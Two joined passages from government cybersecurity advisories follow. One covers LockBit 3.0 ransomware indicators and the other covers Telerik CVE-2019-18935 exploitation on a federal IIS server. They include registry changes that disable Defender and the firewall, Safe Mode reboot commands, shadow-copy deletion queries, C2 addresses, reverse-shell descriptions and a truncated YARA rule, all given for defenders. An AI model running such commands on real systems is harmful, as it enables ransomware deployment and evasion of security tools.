Transfer Protocol (FTP) application. T1071.002 Impacket Collection of Python classes for working with network protocols. S0357 MEGA Ltd MegaSync Cloud-based synchronization tool. T1567.002 Microsoft Sysinternals ProcDump Generates crash dumps. Commonly used to dump the contents of Local Security Authority Subsystem Service, LSASS.exe. T1003.001 Microsoft Sysinternals PsExec Execute a command-line process on a remote machine. S0029 Mimikatz Extracts credentials from system. S0002 Ngrok Legitimate remote-access tool abused to bypass victim network protections. S0508 PuTTY Link (Plink) Can be used to automate Secure Shell (SSH) actions on Windows. T1572 Rclone Command-line program to manage cloud storage files S1040 SoftPerfect Network Scanner Performs network scans. T1046 Splashtop Remote-desktop software. T1021.001 WinSCP SSH File Transfer Protocol client for Windows. T1048 Indicators of Compromise (IOCs) The IOCs and malware characteristics outlined below were derived from field analysis. The following samples are current as of March 2023. LockBit 3.0 Black Icon     LockBit 3.0 Wallpaper       LockBit Command Line Parameters LockBit Parameters Description -del Self-delete. -gdel Remove LockBit 3.0 group policy changes. -gspd Spread laterally via group policy. -pass (32 character value) (Required) Password used to launch LockBit 3.0. -path (File or path) Only encrypts provided file or folder. -psex Spread laterally via admin shares. -safe Reboot host into Safe Mode. -wall Sets LockBit 3.0 Wallpaper and prints out LockBit 3.0 ransom note. Mutual Exclusion Object (Mutex) Created When executed, LockBit 3.0 will create the mutex, Global\, and check to see if this mutex has already been created to avoid running more than one instance of the ransomware. UAC Bypass via Elevated COM Interface LockBit 3.0 is capable of bypassing User Account Control (UAC) to execute code with elevated privileges via elevated Component Object Model (COM) Interface. C:\Windows\System32\dllhost.exe is spawned with high integrity with the command line GUID 3E5FC7F9-9A51-4367-9063-A120244FBEC. For example, %SYSTEM32%\dllhost.exe/Processid:{3E5FC7F9-9A51-4367-9063- A120244FBEC7}. Volume Shadow Copy Deletion LockBit 3.0 uses Windows Management Instrumentation (WMI) to identify and delete Volume Shadow Copies. LockBit 3.0 uses select * from Win32_ShadowCopy to query for Volume Shadow copies, Win32_ShadowCopy.ID to obtain the ID of the shadow copy, and DeleteInstance to delete any shadow copies. Registry Artifacts LockBit 3.0 Icon Registry Key Value Data HKCR\. (Default) HKCR\\DefaultIcon (Default) C:\ProgramData\.ico LockBit 3.0 Wallpaper Registry Key Value Data HKCU\Control Panel\Desktop\WallPaper (Default) C:\ProgramData\.bmp Disable Privacy Settings Experience Registry Key Value Data SOFTWARE\Policies\Microsoft\Win dows\OOBE DisablePrivacyE xperience 0 Enable Automatic Logon Registry Key Value Data SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon AutoAdminLogon 1   DefaultUserName   DefaultDomainNa me   DefaultPassword Disable and Clear Windows Event Logs Registry Key Value Data HKLM\SOFTWARE\Microsoft\Windows \CurrentVersion\WINEVT\Channels \* Enabled 0 HKLM\SOFTWARE\Microsoft\Windows \CurrentVersion\WINEVT\Channels \* \ChannelAccess ChannelAccess AO:BAG:SYD:(A;;0x1;; ;SY)(A;;0x5;;;BA)(A; ;0x1;;;LA) Ransom Locations LockBit 3.0 File Path Locations ADMIN$\Temp\.exe %SystemRoot%\Temp\.exe \\sysvol\\scripts\.exe (Domain Controller) Safe Mode Launch Commands LockBit 3.0 has a Safe Mode feature to circumvent endpoint antivirus and detection. Depending upon the host operating system, the following command is launched to reboot the system to Safe Mode with Networking: Operating System Safe Mode with Networking command Vista and newer bcdedit /set {current} safeboot network Pre-Vista bootcfg /raw /a /safeboot:network /id 1 Operating System Disable Safe mode reboot Vista and newer bcdedit /deletevalue {current} safeboot Pre-Vista bootcfg /raw /fastdetect /id 1 Group Policy Artifacts The following are Group Policy Extensible Markup Language (XML) files identified after a LockBit 3.0 infection: NetworkShares.xml image="2" name="%%ComputerName%%_D" changed="%s" uid="%s"> Services.xml stops and disables services on the Active Directory (AD) hosts. Services.xml name="SQLPBDMS" image="4" changed="%s" uid="%s" disabled="0"> name="SQLPBENGINE" image="4" changed="%s" uid="%s" disabled="0"> name="MSSQLFDLauncher" image="4" changed="%s" uid="%s" userContext="0" removePolicy="0" disabled="0"> name="SQLSERVERAGENT" image="4" changed="%s" uid="%s" disabled="0"> name="MSSQLServerOLAPService" image="4" changed="%s" uid="%s" disabled="0"> name="SSASTELEMETRY" image="4" changed="%s" uid="%s" disabled="0"> name="SQLBrowser" image="4" changed="%s" uid="%s" disabled="0"> name="SQL Server Distributed Replay Client" image="4" changed="%s" uid="%s" disabled="0"> name="SQL Server Distributed Replay Controller" image="4" changed="%s" uid="%s" disabled="0"> name="MsDtsServer150" image="4" changed="%s" uid="%s" disabled="0"> name="SSISTELEMETRY150" image="4" changed="%s" uid="%s" disabled="0"> name="SSISScaleOutMaster150" image="4" changed="%s" uid="%s" disabled="0"> name="SSISScaleOutWorker150" image="4" changed="%s" uid="%s" disabled="0"> name="MSSQLLaunchpad" image="4" changed="%s" uid="%s" disabled="0"> name="SQLWriter" image="4" changed="%s" uid="%s" disabled="0"> name="SQLTELEMETRY" image="4" changed="%s" uid="%s" disabled="0"> name="MSSQLSERVER" image="4" changed="%s" uid="%s" disabled="0"> Registry.pol The following registry configuration changes values for the Group Policy refresh time, disable SmartScreen, and disable Windows Defender. Registry Key Registry Value Value type Data HKLM\SOFTWARE\Policies\Microsoft\Window s\System GroupPolicyRefresh TimeDC REG_D WORD 1 HKLM\SOFTWARE\Policies\Microsoft\Window s\System GroupPolicyRefresh TimeOffsetDC REG_D WORD 1 HKLM\SOFTWARE\Policies\Microsoft\Window s\System GroupPolicyRefresh Time REG_D WORD 1 HKLM\SOFTWARE\Policies\Microsoft\Window s\System GroupPolicyRefresh TimeOffset REG_D WORD 1 HKLM\SOFTWARE\Policies\Microsoft\Window s\System EnableSmartScreen REG_D WORD 0 HKLM\SOFTWARE\Policies\Microsoft\Window s\System **del.ShellSmartSc reenLevel REG_S Z   HKLM\SOFTWARE\Policies\Microsoft\Window s Defender DisableAntiSpyware REG_D WORD 1 HKLM\SOFTWARE\Policies\Microsoft\Window s Defender DisableRoutinelyTa kingAction REG_D WORD 1 HKLM\SOFTWARE\Policies\Microsoft\Window s Defender\Real-Time Protection DisableRealtimeMon itoring REG_D WORD 1 HKLM\SOFTWARE\Policies\Microsoft\Window s Defender\Real-Time Protection DisableBehaviorMon itoring REG_D WORD 1 HKLM\SOFTWARE\Policies\Microsoft\Window s Defender\Spynet SubmitSamplesConse nt REG_D WORD 2 HKLM\SOFTWARE\Policies\Microsoft\Window s Defender\Spynet SpynetReporting REG_D WORD 0 HKLM\SOFTWARE\Policies\Microsoft\Window sFirewall\DomainProfile EnableFirewall REG_D WORD 0 HKLM\SOFTWARE\Policies\Microsoft\Window sFirewall\StandardProfile EnableFirewall REG_D WORD 0 Force GPUpdate Once new group policies are added, a PowerShell command using Group Policy update (GPUpdate) applies the new group policy changes to all computers on the AD domain. Force GPUpdate Powershell Command powershell Get-ADComputer -filter * -Searchbase '%s' | Foreach-Object { Invoke- GPUpdate -computer $_.name -force -RandomDelayInMinutes 0} Services Killed vss sql svc$ memtas mepocs msexchange sophos veeam backup GxVss GxBlr GxFWD GxCVD GxCIMgr   Processes Killed sql oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc firefox tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspu onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad     LockBit 3.0 Ransom Note ~~~ LockBit 3.0 the world's fastest and most stable ransomware from 2019~~~ >>>>> Your data is stolen and encrypted. If you don't pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that once your data appears on our leak site, it could be bought by your competitors at any second, so don't hesitate for a long time. The sooner you pay the ransom, the sooner your company will be safe. Network Connections If configured, Lockbit 3.0 will send two HTTP POST requests to one of the C2servers. Information about the victim host and bot are encrypted with an Advanced Encryption Standard (AES) key and encoded in Base64. Example of HTTP POST request POST /?7F6Da=u5a0TdP0&Aojq=&NtN1W=OuoaovMvrVJSmPNaA5&fckp9=FCYyT6b7kdyeEXywS8I8 HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate, br Content-Type: text/plain User-Agent: Safari/537.36 Host: Connection: Keep-Alive LIWy=RJ51lB5GM&a4OuN=&LoSyE3=8SZ1hdlhzld4&DHnd99T=rTx9xGlInO6X0zWW&2D6=Bokz&T1guL=MtRZsFCRMKyBmfmqI& 6SF3g=JPDt9lfJIQ&wQadZP= Xni=AboZOXwUw&2rQnM4=94L&0b=ZfKv7c&NO1d=M2kJlyus&AgbDTb=xwSpba&8sr=EndL4n0HVZjxPR& m4ZhTTH=sBVnPY&xZDiygN=cU1pAwKEztU&=5q55aFIAfTVQWTEm&4sXwVWcyhy=l68FrIdBESIvfCkvYl Example of information found in encrypted data { "bot_version":"X", "bot_id":"X", "bot_company":"X", "host_hostname":"X", "host_user":"X", "host_os":"X", "host_domain":"X", "host_arch":"X", "host_lang":"X", "disks_info":[ { "disk_name":"X", "disk_size":"XXXX", "free_size":"XXXXX" } User Agent Strings Mozilla/5.0 (Windows NT 6.1) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edge/91.0.864.37 Firefox/89.0 Gecko/20100101     MITRE ATT&CK TECHNIQUES See Table 3 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping to the MITRE ATT&CK framework, see CISA’s Decider Tool and Best Practices for MITRE ATT&CK Mapping Guide. Table 3: LockBit 3.0 Actors ATT&CK Techniques for Enterprise Initial Access     Technique Title ID Use Valid Accounts T1078 LockBit 3.0 actors obtain and abuse credentials of existing accounts as a means of gaining initial access. Exploit External Remote Services T1133 LockBit 3.0 actors exploit RDP to gain access to victim networks. Drive-by Compromise T1189 LockBit 3.0 actors gain access to a system through a user visiting a website over the normal course of browsing. Exploit Public-Facing Application T1190 LockBit 3.0 actors exploit vulnerabilities in internet-facing systems to gain access to victims’ systems. Phishing T1566 LockBit 3.0 actors use phishing and spearphishing to gain access to victims' networks. Execution     Technique Title ID Use Execution TA0002 LockBit 3.0 launches commands during its execution. Software Deployment Tools T1072 LockBit 3.0 uses Chocolatey, a command- line package manager for Windows. Persistence     Technique Title ID Use Valid Accounts T1078 LockBit 3.0 uses a compromised user account to maintain persistence on the target network. Boot or Logo Autostart Execution T1547 LockBit 3.0 enables automatic logon for persistence. Privilege Escalation     Technique Title ID Use Privilege Escalation TA0004 Lockbit 3.0 will attempt to escalate to the required privileges if current account privileges are insufficient. Boot or Logo Autostart Execution T1547 LockBit 3.0 enables automatic logon for privilege escalation. Defense Evasion     Technique Title ID Use Obfuscated Files or Information T1027 LockBit 3.0 will send encrypted host and bot information to its C2 servers. Indicator Removal: File Deletion T1070.004 LockBit 3.0 will delete itself from the disk. Execution Guardrails: Environmental Keying T1480.001 LockBit 3.0 will only decrypt the main component or continue to decrypt and/or decompress data if the correct password is entered. Credential Access     Technique Title ID Use OS Credential Dumping: LSASS Memory T1003.001 LockBit 3.0 uses Microsoft Sysinternals ProDump to dump the contents of LSASS.exe. Discovery     Technique Title ID Use Network Service Discovery T1046 LockBit 3.0 uses SoftPerfect Network Scanner to scan target networks. System Information Discovery T1082 LockBit 3.0 will enumerate system information to include hostname, host configuration, domain information, local drive configuration, remote shares, and mounted external storage devices. System Location   Discovery: System Language Discovery T1614.001 LockBit 3.0 will not infect machines with language settings that match a defined exclusion list. Lateral Movement     Technique Title ID Use Remote Services:   Remote Desktop Protocol T1021.001 LockBit 3.0 uses Splashtop remote- desktop software to facilitate lateral movement. Command and Control     Technique Title ID Use Application Layer Protocol: File Transfer Protocols T1071.002 LockBit 3.0 uses FileZilla for C2. Protocol Tunnel T1572 LockBit 3.0 uses Plink to automate SSH actions on Windows. Exfiltration     Technique Title ID Use Exfiltration TA0010 LockBit 3.0 uses Stealbit, a custom exfiltration tool first used with LockBit 2.0, to steal data from a target network. Exfiltration Over Web Service T1567 LockBit 3.0 uses publicly available file sharing services to exfiltrate a target’s data. Exfiltration Over Web Service: Exfiltration to Cloud Storage T1567.002 LockBit 3.0 actors use (1) rclone, an open source command line cloud storage manager to exfiltrate and (2) MEGA, a publicly available file sharing service for data exfiltration. Impact     Technique Title ID Use Data Destruction T1485 LockBit 3.0 deletes log files and empties the recycle bin. Data Encrypted for Impact T1486 LockBit 3.0 encrypts data on target systems to interrupt availability to system and network resources. Service Stop T1489 LockBit 3.0 terminates processes and services. Inhibit System Recovery T1490 LockBit 3.0 deletes volume shadow copies residing on disk. Defacement: Internal Defacement T1491.001 LockBit 3.0 changes the host system’s wallpaper and icons to the LockBit 3.0 wallpaper and icons, respectively. MITIGATIONS The FBI, CISA, and the MS-ISAC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of LockBit 3.0’s activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections. Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers [CPG 7.3] in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud). Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies [CPG 3.4]. Use longer passwords consisting of at least 8 characters and no more than 64 characters in length [CPG 1.4] Store passwords in hashed format using industry-recognized password managers Add password user “salts” to shared login credentials Avoid reusing passwords Implement multiple failed login attempt account lockouts [CPG 1.1] Disable password “hints” Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher. Require administrator credentials to install software Require phishing-resistant multifactor authentication [CPG 1.3] for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems. Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Segment networks [CPG 8.1] to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network [CPG 5.1]. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host. Install, regularly update, and enable real time detection for antivirus software on all hosts. Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts. Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 1.5]. Disable unused ports. Consider adding an email banner to emails [CPG 8.3] received from outside your organization. Disable hyperlinks in received emails. Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task. Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally. Maintain offline backups of data, and regularly maintain backup and restoration [CPG 7.3]. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data. Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 3.3]. VALIDATE SECURITY CONTROLS In addition to applying mitigations, the FBI, CISA, and the MS-ISAC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and the MS-ISAC authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. To get started: Select an ATT&CK technique described in this advisory (see Table 3). Align your security technologies against the technique. Test your technologies against the technique. Analyze your detection and prevention technologies performance. Repeat the process for all security technologies to obtain a set of comprehensive performance data. Tune your security program, including people, processes, and technologies, based on the data generated by this process. The FBI, CISA, and the MS-ISAC recommend continually testing your security program at scale and in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory. RESOURCES Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts. Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment. REPORTING The FBI is seeking any information that can be legally shared, including: Boundary logs showing communication to and from foreign IP addresses Sample ransom note Communications with LockBit 3.0 actors Bitcoin wallet information Decryptor files Benign sample of an encrypted file The FBI, CISA, and MS-ISAC do not encourage paying ransom, as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office or CISA at report@cisa.gov. State, local, tribal, and territorial (SLTT) government entities can also report to the MS-ISAC (SOC@cisecurity.org or 866-787-4722). DISCLAIMER The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and the MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, or the MS-ISAC. Your feedback is important. Please take a few minutes to share your opinions on this product through an anonymous Product Feedback Survey.

SUMMARY From November 2022 through early January 2023, the Cybersecurity and Infrastructure Security Agency (CISA) and authoring organizations identified the presence of indicators of compromise (IOCs) at a federal civilian executive branch (FCEB) agency. Analysts determined that multiple cyber threat actors, including an APT actor, were able to exploit a .NET deserialization vulnerability (CVE-2019-18935) in Progress Telerik user interface (UI) for ASP.NET AJAX, located in the agency’s Microsoft Internet Information Services (IIS) web server. Successful exploitation of this vulnerability allows for remote code execution. According to Progress Software, Telerik UI for ASP.NET AJAX builds before R1 2020 (2020.1.114) are vulnerable to this exploit.[1] Actions to take today to mitigate malicious cyber activity: Implement a patch management solution to ensure compliance with the latest security patches. Validate output from patch management and vulnerability scanning against running services to check for discrepancies and account for all services. Limit service accounts to the minimum permissions necessary to run services. CISA, the Federal Bureau of Investigation (FBI), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint Cybersecurity Advisory (CSA) to provide IT infrastructure defenders with tactics, techniques, and procedures (TTPs), IOCs, and methods to detect and protect against similar exploitation. Download the PDF version of this report: Threat Actors Exploit Progress Telerik Vulnerability in U.S. Government IIS Server (PDF, 742.54 KB ) For a downloadable copy of IOCs, see AA23-074A STIX XML (XML, 30.96 KB ) TECHNICAL DETAILS Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques with corresponding detection and mitigation recommendations. Overview CISA and authoring organizations assess that, beginning as late as November 2022, threat actors successfully exploited a .NET deserialization vulnerability (CVE-2019-18935) in an instance of Telerik UI for ASP.NET AJAX Q2 2013 SP1 (version 2013.2.717) running on an FCEB agency’s Microsoft IIS server. This exploit, which results in interactive access with the web server, enabled the threat actors to successfully execute remote code on the vulnerable web server. Though the agency’s vulnerability scanner had the appropriate plugin for CVE-2019-18935, it failed to detect the vulnerability due to the Telerik UI software being installed in a file path it does not typically scan. This may be the case for many software installations, as file paths widely vary depending on the organization and installation method. In addition to CVE-2019-18935, this version (2013.2.717) of Telerik UI for ASP.NET AJAX contains the following known vulnerabilities: CVE-2017-11357, CVE-2017-11317, and CVE-2017-9248. Analysis suggests that cyber threat actors exploited CVE-2019-18935 in conjunction with either CVE-2017-11357 or CVE-2017-11317. Australian Cyber Security Centre (ACSC) Advisory 2020-004 assesses that exploitation of CVE-2019-18935 is only possible with knowledge of Telerik RadAsyncUpload encryption keys.[2] Threat actors can obtain these keys through either prior knowledge or exploitation of vulnerabilities—CVE-2017-11357 or CVE-2017-11317—present in older, unpatched versions of Telerik released between 2007 and 2017. Forensic evidence is not available to definitively confirm exploitation of either CVE-2017-11357 or CVE-2017-11317. Threat Actor Activity CISA and authoring organizations observed multiple cyber threat actors, including an APT actor—hereafter referred to as Threat Actor 1 (TA1)—and known cybercriminal actor XE Group—hereafter referred to as Threat Actor 2 (TA2)—conducting reconnaissance and scanning activities [T1595.002] that correlate to the successful exploitation of CVE-2019-18935 in the agency’s IIS server running Telerik UI for ASP.NET AJAX [T1190]. When exploiting the vulnerability, the threat actors uploaded malicious dynamic-link library (DLL) files (some masqueraded as portable network graphics [PNG] files) [T1105] to the C:\Windows\Temp\ directory. The malicious files were then executed from the C:\Windows\Temp\ directory via the w3wp.exe process—a legitimate process that runs on IIS servers. This process is routine for handling requests sent to web servers and delivering content. The review of antivirus logs identified that some DLL files were created [T1055.001] and detected as early as August 2021. CISA and authoring organizations confirmed that some malicious files dropped on the IIS server are consistent with a previously reported file naming convention that threat actors commonly use when exploiting CVE-2019-18935.[3] The threat actors name the files in the Unix Epoch time format and use the date and time as recorded on the target system. The file naming convention follows the pattern [10 digits].[7 digits].dll (e.g., a file created on October 31, 2022, could be 1667203023.5321205.dll). The names of some of the PNG files were misleading. For example, file 1596835329.5015914.png, which decodes to August 7, 2020, 21:22:09 UTC, first appeared on October 13, 2022, but the file system shows a creation date of August 7, 2020. The uncorrelated Unix Epoch time format may indicate that the threat actors used the timestomping [T1070.006] technique. This file naming convention is a primary IOC used by the threat actors. In many cases, malicious artifacts were not available for analysis because the threat actors’ malware—that looks for and removes files with the .dll file extension—removed files [T1070.004] from the C:\Windows\Temp\ directory. Through full packet data capture analysis and reverse engineering of malicious DLL files, no indications of additional malicious activity or sub-processes were found executed by the w3wp.exe process. CISA observed error messages being sent to the threat actors’ command and control (C2) server when permission restraints prevented the service account from executing the malicious DLLs and writing new files. Network activity analysis was consistent with the artifacts provided for review. Analysts did not observe evidence of privilege escalation or lateral movement. Threat Actor 1 CISA and authoring organizations observed TA1 exploiting CVE-2019-18935 for system enumeration beginning in August 2022. The vulnerability allows a threat actor to upload malicious DLLs on a target system and execute them by abusing a legitimate process, e.g., the w3wp.exe process. In this instance, TA1 was able to upload malicious DLL files to the C:\Windows\Temp\ directory and then achieve remote code execution, executing the DLL files via the w3wp.exe process. At least nine DLL files used for discovery [TA0007], C2 [TA0011], and defense evasion [TA0005]. All of the analyzed samples have network parameters, including host name, domain name, Domain Name System (DNS) server Internet Protocol (IP) address and machine name, Network Basic Input/Output System (NetBIOS) ID, adapter information, IP address, subnet, gateway IP, and Dynamic Host Configuration Protocol (DHCP) server [T1016]. All analyzed samples communicate this collected data to a C2 server at IP address 137.184.130[.]162 or 45.77.212[.]12. The C2 traffic to these IP addresses uses a non-application layer protocol [T1095] by leveraging Transmission Control Protocol (TCP) clear text (i.e., unencrypted) over port 443. Analysis also identified that: Some of the analyzed samples can load additional libraries; enumerate the system, processes, files, directories [T1083]; and write files. Other analyzed samples can delete DLL files ending with the .dll extension in the C:\Windows\Temp\ directory on the server. TA1 may use this capability to hide additional malicious activity on the network. CISA, in coordination with the authoring organizations, identified and observed the following threat actor IPs and timestamps associated with this activity: Table 1: Observed TA1 IPs and Timestamps IP Address First Identified Last Identified 137.184.130[.]162 09/26/2022 10/08/2022 45.77.212[.]12 10/07/2022 11/25/2022 104.225.129[.]102 10/10/2022 11/16/2022 149.28.85[.]24 10/12/2022 10/17/2022 185.186.245[.]72 10/18/2022 10/18/2022 193.8.172[.]113 09/25/2022 09/25/2022 193.8.172[.]13 09/25/2022 10/17/2022 216.120.201[.]12 10/13/2022 11/10/2022 5.34.178[.]246 09/25/2022 09/25/2022 79.133.124[.]242 09/25/2022 09/25/2022 92.38.169[.]193 09/27/2022 10/08/2022 92.38.176[.]109 09/12/2022 09/25/2022 92.38.176[.]130 09/25/2022 10/07/2022 Threat Actor 2 TA2—identified as likely the cybercriminal actor XE Group—often includes xe[word] nomenclature in original filenames and registered domains. Volexity lists this naming convention and other observed TTPs as common for this threat actor group.[4] As early as August 2021, CISA and authoring organizations observed TA2 delivering malicious PNG files that, following analysis, were masqueraded DLL files to avoid detection [T1036.005]. Similar to TA1, TA2 exploited CVE-2019-18935 and was able to upload at least three unique DLL files into the C:\Windows\Temp\ directory that TA2 executed via the w3wp.exe process. These DLL files drop and execute reverse (remote) shell utilities for unencrypted communication with C2 IP addresses associated with the malicious domains listed in Table 2. Note: At the time of analysis, the domains resolved to the listed IP addresses. Table 2: TA2 IPs and Resolving Domains IP Address Resolving Domains 184.168.104[.]171 xework[.]com xegroups[.]com hivnd[.]com 144.96.103[.]245 xework[.]com Analysis of DLL files determined the files listed in Table 3 were dropped, decoded, and attempted to connect to the respective malicious domains. Embedded payloads dropped by the DLL files were observed using the command line utility certutil[.]exe and writing new files as xesvrs[.]exe to invoke reverse shell utilities execution. Table 3: Identified Malicious Files Filename Description XEReverseShell.exe DLL files (masqueraded as PNG files) located in the C:\Windows\Temp\ directory contain a base64 encoded file with the internal name XEReverseShell.exe, which was dropped into the same directory as sortcombat.exe. When executed, the reverse shell utility attempts to connect to xework[.]com or xegroups[.]com to obtain the IP address of the C2 server and port number for unencrypted communication. Note: It is likely the threat actors changed the file extension from .dll to .png to avoid detection. Multi-OS_ReverseShell.exe Reverse shell utility decoded from the base64 encoded file xesmartshell.tmp. When executed, it will attempt to connect to xegroups[.]com or xework[.]com to obtain the IP address of the C2 server and port number for unencrypted communication. SortVistaCompat Base64 encoded payload dropped from Multi-OS_ReverseShell.exe. This file receives the C2 IP and port from xework[.]com.  When the TA2 malware is executed a DLL file drops an executable (XEReverseShell.exe) that attempts to pull a C2 IP address and port number from xework[.]com or xegroups[.]com. If no port or IP address is found, the program will exit. If a port and IP address are found, the program will establish a listener and wait for further commands. If communication is established between the TA2 malware and the C2: The malware will identify the operating system (Windows or Linux) and create the appropriate shell (cmd or bash), sending system information back to the C2. The C2 server may send the command xesetshell, causing the malware to connect to the server and download a file called small.txt—a base64-encoded webshell that the malware decodes and places in the C:\Windows\Temp\ directory. The C2 server may send the command xequit, causing the malware to sleep for a period of time determined by the threat actors. The two files xesmartshell.tmp and SortVistaCompat have the capability to drop an Active Server Pages (ASPX) webshell—a base64 encoded text file small.txt decoded [T1140] as small.aspx [T1505.003]—to enumerate drives; to send, receive, and delete files; and to execute incoming commands. The webshell contains an interface for easily browsing files, directories, or drives on the system, and allows the user to upload or download files to any directory. No webshells were observed to be dropped on the target system, likely due to the abused service account having restrictive write permissions. For more information on the DLLs, binaries, and webshell, see CISA MAR-10413062-1.v1 Telerik Vulnerability in U.S. Government IIS Server. MITRE ATT&CK TACTICS AND TECHNIQUES See Table 4 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping to the MITRE ATT&CK framework, see CISA’s Decider Tool and Best Practices for MITRE ATT&CK Mapping Guide. Table 4: Identified ATT&CK Techniques for Enterprise Reconnaissance     Technique Title ID Use Active Scanning: Vulnerability Scanning T1595.002 Actors were observed conducting active scanning activity for vulnerable devices and specific ports. Initial Access     Technique Title ID Use Exploit Public-Facing Application T1190 Actors exploited a known vulnerability in the Microsoft IIS server. Persistence     Technique Title ID Use Server Software Component: Web Shell T1505.003 TA2’s malware dropped an ASPX webshell to enumerate drives; send, receive, and delete files; and execute commands. Defense Evasion     Technique Title ID Use Masquerading: Match Legitimate Name or Location T1036.005 Actors leveraged the legitimate w3wp.exe process on the IIS server to write malicious DLL files and evade detection. Process Injection: DLL Injection T1055.001 Actors loaded newly created DLLs into a running w3wp.exe process. Indicator Removal: File Deletion T1070.004 TA1’s malware deleted files with ".dll" from the C:\Windows\Temp\ directory, which may indicate hidden malicious activity on the network. Indicator Removal: Timestomp T1070.006 Actors modified file time attributes to insert misleading creation dates. Decode Files T1140 The base64 encoded text file small.txt decoded as the webshell small.aspx. Discovery     Technique Title ID Use File and Directory Discovery T1083 Actors enumerated the IIS server via OS fingerprinting, executed Windows processes, and collected network information. TA1’s malware enumerates systems, processes, files, and directories. System Network Configuration Discovery T1016 TA1’s malware gathers network parameters, including host name, domain name, DNS servers, NetBIOS ID, adapter information, IP address, subnet, gateway IP, and DHCP server. Command and Control     Technique Title ID Use Ingress Tool Transfer T1105 TA1 and TA2 uploaded malicious DLL files (some masqueraded as PNG files) to the C:\Windows\Temp\ directory. Non-Application Layer Protocol T1095 Actors used a non-application layer protocol (TCP) for w3wp.exe process exploitation, C2, and enumeration on the IIS server. DETECTION METHODS CISA and authoring organizations recommend that organizations review the steps listed in this section and Table 4: Identified ATT&CK Techniques for Enterprise to detect similar activity on IIS servers. Yara Rule CISA developed the following YARA rule from the base proof-of-concept code for CVE-2019-18935.[5] Note: Authoring organizations do not guarantee all malicious DLL files (if identified) will use the same code provided in this YARA rule. rule CISA_10424018_01 { meta:         Author = "CISA Code & Media Analysis"         Incident = "10424018"         Date = "2023-02-07"         Last_Modified = "20230216_1500"         Actor = "n/a"         Family = "n/a"         Capabilities = "n/a"         Malware_Type = "n/a"         Tool_Type = "n/a"         Description = "Detects open-source exploit samples"         SHA256 = "n/a"     strings:         $s0 = { 3D 20 7B 20 22 63 6D 22 2C 20 22 64 2E 65 22 2C }         $s1 = { 20 22 78 22 2C 20 22 65 22 20 7D 3B }         $s2 = { 52 65 76 65 72 73 65 53 68 65 6C 6C 28 29 }         $s3 = { 54 65 6C 65 72 69 6B 20 55 49 }         $s4 = { 66 69 6C 65 6E 61 6D 65 5F 6C 6F 63 61 6C }         $s5 = { 66 69 6C 65 6E 61 6D 65 5F 72 65 6D 6F 74 65 }         $s6 = { 41 55 43 69 70 68 65 72 2E 65 6E 63 72 79 70 74 }         $s7 